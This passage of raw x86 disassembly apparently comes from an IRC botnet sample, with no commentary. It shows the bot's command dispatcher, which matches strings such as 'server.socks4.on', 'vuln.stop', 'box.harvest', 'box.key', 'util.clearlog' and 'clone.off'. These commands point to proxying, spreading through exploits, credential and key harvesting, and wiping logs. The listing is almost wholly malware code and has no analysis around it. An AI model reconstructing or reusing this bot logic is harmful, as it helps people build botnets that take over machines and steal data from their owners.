		lea	eax, [ebp-6FCh]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42B788
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	12h
		push	eax
		call	sub_413059
		add	esp, 44h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	offset sub_409F42
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	loc_40BCCC


loc_40BB39:				; CODE XREF: seg000:0040BB4Dj
		cmp	[ebp-568h], ebx
		jnz	loc_40BCFF
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40BB39
; ---------------------------------------------------------------------------


loc_40BB4F:				; CODE XREF: seg000:0040B9D9j
					; seg000:0040B9EFj
		push	dword ptr [ebp-90h]
		push	edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BB68
		mov	dword ptr [ebp-4], 1


loc_40BB68:				; CODE XREF: seg000:0040BB5Fj
		cmp	[ebp-8Ch], ebx
		jz	loc_40B71F
		push	(offset	loc_4229CF+1)
		push	dword ptr [ebp-8Ch]
		call	sub_413B80
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BB8F
		cmp	[ebp-4], ebx
		jz	short loc_40BB9B


loc_40BB8F:				; CODE XREF: seg000:0040BB88j
		lea	eax, [ebp-0C4h]
		mov	[ebp-8Ch], eax


loc_40BB9B:				; CODE XREF: seg000:0040BB8Dj
		cmp	[ebp-88h], ebx
		jz	loc_40B71F
		inc	dword ptr [ebp-88h]
		jz	short loc_40BBE7
		cmp	[ebp+18h], ebx
		jz	short loc_40BBE7
		lea	eax, [ebp-564h]
		push	eax
		call	sub_413DB0
		push	eax
		lea	eax, [ebp-564h]
		push	dword ptr [ebp-88h]
		push	eax
		call	sub_414F60
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp-0ACh], esi
		jmp	short loc_40BBED
; ---------------------------------------------------------------------------


loc_40BBE7:				; CODE XREF: seg000:0040BBADj
					; seg000:0040BBB2j
		mov	esi, [ebp-0ACh]


loc_40BBED:				; CODE XREF: seg000:0040BBE5j
		mov	edi, [ebp+esi*4-94h]
		cmp	edi, ebx
		jz	loc_40B71F
		push	edi
		push	offset dword_42B77C
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BA10
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40BC8D
		mov	eax, ds:dword_45DD0C
		mov	eax, ds:off_4282FC[eax*4]
		cmp	[eax], bl
		jz	short loc_40BC8D
		push	eax
		push	ecx
		push	offset dword_42B760
		push	dword ptr [ebp+0Ch]
		call	sub_41106A
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_409615
		add	esp, 20h
		cmp	[ebp-98h], ebx
		jnz	loc_40B71F
		push	ebx
		lea	eax, [ebp-2C8h]
		push	1
		push	eax
		push	offset dword_45DC14


loc_40BC7D:				; CODE XREF: seg000:00410651j
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 14h
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_40BC8D:				; CODE XREF: seg000:0040BC1Aj
					; seg000:0040BC2Aj
		push	edi
		push	offset dword_42B73C
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BA10
		mov	eax, [ebp+esi*4-90h]
		cmp	eax, ebx
		jz	loc_40BA10
		mov	ecx, [ebp-8Ch]
		cmp	byte ptr [ecx],	23h
		jz	loc_40BA10
		push	eax
		push	ecx
		push	offset dword_42B724
		jmp	loc_40B714
; ---------------------------------------------------------------------------


loc_40BCCC:				; CODE XREF: seg000:0040BB33j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B6D8
		jmp	loc_40BE35
; ---------------------------------------------------------------------------


loc_40BCDD:				; CODE XREF: seg000:0040BA5Aj
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp+esi-8Ch]
		push	offset dword_42B684
		push	eax
		call	sub_4135AD
		add	esp, 10h


loc_40BCFF:				; CODE XREF: seg000:0040BB3Fj
					; seg000:0040BDFDj ...
		push	1
		pop	esi
		jmp	loc_40D4B0
; ---------------------------------------------------------------------------


loc_40BD07:				; CODE XREF: seg000:0040BA4Ej
		push	dword ptr [ebp+esi-90h]
		push	offset aChat	; "CHAT"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40BE5F
		cmp	[ebp-98h], ebx
		jz	loc_40BE29
		push	13h
		call	sub_4132A1
		test	eax, eax
		pop	ecx
		jnz	loc_40BE1B
		push	dword ptr [ebp+esi-88h]
		lea	eax, [ebp-710h]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4135AD
		push	dword ptr [ebp+esi-84h]
		call	sub_413B1F
		mov	[ebp-578h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-718h], eax
		lea	eax, [ebp-0C4h]
		push	7Fh
		push	eax
		lea	eax, [ebp-5F8h]
		push	eax
		call	sub_414DD0
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-0C4h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset dword_42B648
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	13h
		push	eax
		call	sub_413059
		add	esp, 34h
		mov	[ebp-574h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-718h]
		push	ebx
		push	eax
		push	offset loc_4099DF
		push	ebx
		push	ebx
		call	ds:dword_41F06C	; CreateThread
		mov	ecx, [ebp-574h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4348AC[ecx], eax
		jz	short loc_40BE0D


loc_40BDF7:				; CODE XREF: seg000:0040BE0Bj
		cmp	[ebp-568h], ebx
		jnz	loc_40BCFF
		push	32h
		call	ds:dword_41F058	; Sleep
		jmp	short loc_40BDF7
; ---------------------------------------------------------------------------


loc_40BE0D:				; CODE XREF: seg000:0040BDF5j
		call	ds:dword_41F068	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B600
		jmp	short loc_40BE35
; ---------------------------------------------------------------------------


loc_40BE1B:				; CODE XREF: seg000:0040BD38j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42B5BC
		jmp	short loc_40BE35
; ---------------------------------------------------------------------------


loc_40BE29:				; CODE XREF: seg000:0040BD28j
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset dword_42B578


loc_40BE35:				; CODE XREF: seg000:0040BCD8j
					; seg000:0040BE19j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		jmp	loc_40BCFF
; ---------------------------------------------------------------------------


loc_40BE49:				; CODE XREF: seg000:0040BA33j
		mov	eax, [ebp+10h]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42823C
		mov	[edi], ecx
		jnz	loc_40B71F


loc_40BE5F:				; CODE XREF: seg000:0040BD1Cj
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+10h], edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA0
		push	edi
		push	offset aHi_0	; "hi"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EA0
		cmp	[ebp-98h], ebx
		jnz	short loc_40BEB0
		push	dword ptr [ebp-90h]
		push	offset dword_42B7D8
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410E98


loc_40BEB0:				; CODE XREF: seg000:0040BE94j
		cmp	[ebp+30h], ebx
		jnz	loc_410E98
		xor	edi, edi
		cmp	ds:dword_4283B8, ebx
		jle	loc_40C05C
		mov	dword ptr [ebp+28h], offset dword_433B18


loc_40BECE:				; CODE XREF: seg000:0040BEEDj
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+28h]
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEF4
		add	dword ptr [ebp+28h], 0B8h
		inc	edi
		cmp	edi, ds:dword_4283B8
		jl	short loc_40BECE
		jmp	loc_40C05C
; ---------------------------------------------------------------------------


loc_40BEF4:				; CODE XREF: seg000:0040BEDDj
		push	offset asc_42B904 ; " :"
		push	dword ptr [ebp+8]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40B71F
		mov	cl, ds:byte_42823C
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42823C
		mov	[eax+3], cl
		lea	ecx, dword_433B30[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_414DD0
		lea	eax, [ebp+esi-54h]
		add	esp, 0Ch
		mov	dword ptr [ebp+28h], 0Fh
		mov	[ebp+14h], eax


loc_40BF49:				; CODE XREF: seg000:0040BFF1j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413B80
		add	esp, 14h
		test	eax, eax
		jz	short loc_40BFB5
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jz	short loc_40BFB5
		lea	eax, dword_433B18[edi]
		push	eax
		call	sub_413DB0
		add	[ebp-0Ch], eax
		pop	ecx
		jz	short loc_40BFE7
		mov	eax, [ebp+14h]
		push	dword ptr [eax-4]
		push	dword ptr [ebp-0Ch]
		call	sub_413B80
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BFE7
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407E52
		add	esp, 0Ch
		jmp	short loc_40BFE7
; ---------------------------------------------------------------------------


loc_40BFB5:				; CODE XREF: seg000:0040BF71j
					; seg000:0040BF78j
		mov	eax, [ebp+14h]
		cmp	[eax], ebx
		jnz	short loc_40BFE7
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-14h]
		mov	[ebp-12h], bl
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407E52
		add	esp, 18h


loc_40BFE7:				; CODE XREF: seg000:0040BF8Aj
					; seg000:0040BF9Ej ...
		dec	dword ptr [ebp+28h]
		sub	dword ptr [ebp+14h], 4
		cmp	[ebp+28h], ebx
		jg	loc_40BF49
		lea	eax, [ebp+esi-54h]
		mov	dword ptr [ebp+28h], 10h
		mov	edi, eax


loc_40C004:				; CODE XREF: seg000:0040C050j
		push	dword ptr [ebp+28h]
		lea	eax, [ebp-0A4h]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4135AD
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_413B80
		add	esp, 14h
		test	eax, eax
		jz	short loc_40C047
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40C047
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407E52
		add	esp, 0Ch


loc_40C047:				; CODE XREF: seg000:0040C02Cj
					; seg000:0040C032j
		dec	dword ptr [ebp+28h]
		sub	edi, 4
		cmp	[ebp+28h], ebx
		jg	short loc_40C004
		mov	dword ptr [ebp-0C8h], 1


loc_40C05C:				; CODE XREF: seg000:0040BEC1j
					; seg000:0040BEEFj
		mov	eax, [ebp+10h]
		mov	al, [eax]
		cmp	al, ds:byte_42823C
		jz	short loc_40C075
		cmp	[ebp-0C8h], ebx
		jz	loc_40C25A


loc_40C075:				; CODE XREF: seg000:0040C067j
		push	dword ptr [ebp+18h]
		mov	edi, [ebp+8]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_407E52
		lea	eax, [ebp-0C4h]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_407E52
		push	dword ptr [ebp-8Ch]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_407E52
		push	ebx
		push	ebx
		lea	eax, [ebp-0A4h]
		push	2
		push	eax
		call	sub_412797
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_407E52
		add	esp, 40h
		push	dword ptr [ebp+1Ch]
		push	offset aServer_0 ; "$server"
		push	edi
		call	sub_407E52
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	dword ptr [ebp+8]
		call	sub_413B80
		add	esp, 14h


loc_40C0E7:				; CODE XREF: seg000:0040C1D3j
		test	eax, eax
		jz	loc_40C1D8
		push	edi
		push	dword ptr [ebp+8]
		call	sub_413B80
		mov	[ebp+18h], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-0A4h]
		push	offset asc_42B52C ; ")"
		push	eax
		call	sub_414D28
		add	esp, 1Ch
		cmp	byte ptr [ebp-0A4h], 30h
		jl	short loc_40C133
		cmp	byte ptr [ebp-0A4h], 39h
		jle	short loc_40C149


loc_40C133:				; CODE XREF: seg000:0040C128j
		push	3
		lea	eax, [ebp-0A4h]
		push	offset a63	; "63"
		push	eax
		call	sub_414DD0
		add	esp, 0Ch


loc_40C149:				; CODE XREF: seg000:0040C131j
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_413B1F
		test	eax, eax
		pop	ecx
		jle	short loc_40C16C
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_413B1F
		pop	ecx
		mov	[ebp-14h], al
		jmp	short loc_40C17D
; ---------------------------------------------------------------------------


loc_40C16C:				; CODE XREF: seg000:0040C158j
		call	sub_413609
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp-14h], dl


loc_40C17D:				; CODE XREF: seg000:0040C16Aj
		lea	eax, [ebp-0A4h]
		mov	[ebp-13h], bl
		push	eax
		call	sub_413DB0
		mov	[ebp+28h], eax
		push	0Ch
		lea	eax, [ebp-0A4h]
		push	ebx
		push	eax
		call	sub_413630
		mov	eax, [ebp+28h]
		add	eax, 6
		push	eax
		lea	eax, [ebp-0A4h]
		push	dword ptr [ebp+18h]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_407E52
		push	edi
		push	dword ptr [ebp+8]
		call	sub_413B80
		add	esp, 30h
		jmp	loc_40C0E7
; ---------------------------------------------------------------------------


loc_40C1D8:				; CODE XREF: seg000:0040C0E9j
		mov	edi, 1FFh
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	dword ptr [ebp+8]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-0F9Ch]
		push	edi
		push	eax
		lea	eax, [ebp-119Ch]
		push	eax
		call	sub_414DD0
		lea	eax, [ebp-119Ch]
		push	offset asc_422D6C ; " "
		push	eax
		call	sub_414D28
		add	esp, 20h
		mov	[ebp-94h], eax
		lea	edi, [ebp-90h]
		mov	dword ptr [ebp+18h], 1Fh


loc_40C228:				; CODE XREF: seg000:0040C23Dj
		push	offset asc_422D6C ; " "
		push	ebx
		call	sub_414D28
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	dword ptr [ebp+18h]
		pop	ecx
		jnz	short loc_40C228
		mov	ecx, [ebp+esi-94h]
		lea	eax, [ebp+esi-94h]
		cmp	ecx, ebx
		jz	loc_40B71F
		add	ecx, 3
		mov	[eax], ecx


loc_40C25A:				; CODE XREF: seg000:0040C06Fj
		mov	edi, [ebp+esi-94h]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+10h], edi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E4B
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E4B
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E29
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E29
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D87
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D87
		push	edi
		push	offset aEnz_version ; "enz.version"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D69
		push	edi
		push	offset aEnz_ver	; "enz.ver"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D69
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C54
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C54
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C54
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C54
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B32
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B32
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C3CA
		push	dword ptr [ebp+esi-90h]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_42B45C


loc_40C3AE:				; CODE XREF: seg000:0040C3EEj
					; seg000:0040C414j ...
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4132E7
		add	esp, 20h
		jmp	loc_40B71F
; ---------------------------------------------------------------------------


loc_40C3CA:				; CODE XREF: seg000:0040C399j
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C3F0
		push	dword ptr [ebp+esi-90h]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_42B438
		jmp	short loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C3F0:				; CODE XREF: seg000:0040C3D9j
		push	edi
		push	offset dword_42B428
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C416
		push	dword ptr [ebp+esi-90h]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_42B41C
		jmp	short loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C416:				; CODE XREF: seg000:0040C3FFj
		push	edi
		push	offset dword_42B414
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C43F
		push	dword ptr [ebp+esi-90h]
		push	1Ch
		push	offset dword_42B408
		push	offset dword_42B3FC
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C43F:				; CODE XREF: seg000:0040C425j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C468
		push	dword ptr [ebp+esi-90h]
		push	10h
		push	offset dword_42B3D8
		push	offset dword_42B3C8
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C468:				; CODE XREF: seg000:0040C44Ej
		push	edi
		push	offset dword_42B3BC
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C491
		push	dword ptr [ebp+esi-90h]
		push	0Ah
		push	offset dword_42B3B0
		push	offset dword_42B3A4
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C491:				; CODE XREF: seg000:0040C477j
		push	edi
		push	offset dword_42B394
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C4BA
		push	dword ptr [ebp+esi-90h]
		push	0Bh
		push	offset dword_42B388
		push	offset dword_42B37C
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C4BA:				; CODE XREF: seg000:0040C4A0j
		push	edi
		push	offset dword_42B36C
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C4E3
		push	dword ptr [ebp+esi-90h]
		push	0Fh
		push	offset dword_42B360
		push	offset dword_42B354
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C4E3:				; CODE XREF: seg000:0040C4C9j
		push	edi
		push	offset dword_42B344
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C50C
		push	dword ptr [ebp+esi-90h]
		push	0Eh
		push	offset dword_42B338
		push	offset dword_42B32C
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C50C:				; CODE XREF: seg000:0040C4F2j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C535
		push	dword ptr [ebp+esi-90h]
		push	4
		push	offset aServer	; "Server"
		push	offset dword_42B310
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: seg000:0040C51Bj
		push	edi
		push	offset aBox_findfile_o ; "box.findfile.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B1A
		push	edi
		push	offset aBox_ff_off ; "box.ff.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B1A
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B02
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B02
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C5B2
		push	dword ptr [ebp+esi-90h]
		push	17h
		push	offset aClone	; "Clone"
		push	offset dword_42B2B0
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C5B2:				; CODE XREF: seg000:0040C598j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C5DB
		push	dword ptr [ebp+esi-90h]
		push	19h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42B288
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C5DB:				; CODE XREF: seg000:0040C5C1j
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C604
		push	dword ptr [ebp+esi-90h]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40C3AE
; ---------------------------------------------------------------------------


loc_40C604:				; CODE XREF: seg000:0040C5EAj
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AEC
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AEC
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410ACB
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410ACB
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA9
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA9
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A61
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A61
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A23
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410A23
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109EC
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4109EC
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40C752
		call	sub_40829B
		test	eax, eax
		mov	eax, offset dword_42B1AC
		jnz	short loc_40C724
		mov	eax, offset dword_42B174


loc_40C724:				; CODE XREF: seg000:0040C71Dj
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4135AD
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_4110B0
		add	esp, 1Ch
		jmp	loc_40BCFF
; ---------------------------------------------------------------------------


loc_40C752:				; CODE XREF: seg000:0040C70Fj
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108FB
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108FB
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108DB
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4108DB
		push	edi
		push	offset aEnz_lo0g ; "enz.lo0g"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107EB
		push	edi
		push	offset aEnz_l0g	; "enz.l0g"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107EB
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107D2
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4107D2
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41079B
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41079B
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410770
		push	edi
		push	offset aSi	; "si"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410770
		push	edi
		push	offset aEnz_beg01ne ; "enz.beg01ne"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410736
		push	edi
		push	offset aEnz_010	; "enz.010"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410736
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41062D
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41062D
		push	edi
		push	offset aBox_harvest ; "box.harvest"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410603
		push	edi
		push	offset aBox_key	; "box.key"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410603
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41057F
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41057F
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_4139D0
		pop	ecx
		test	eax, eax
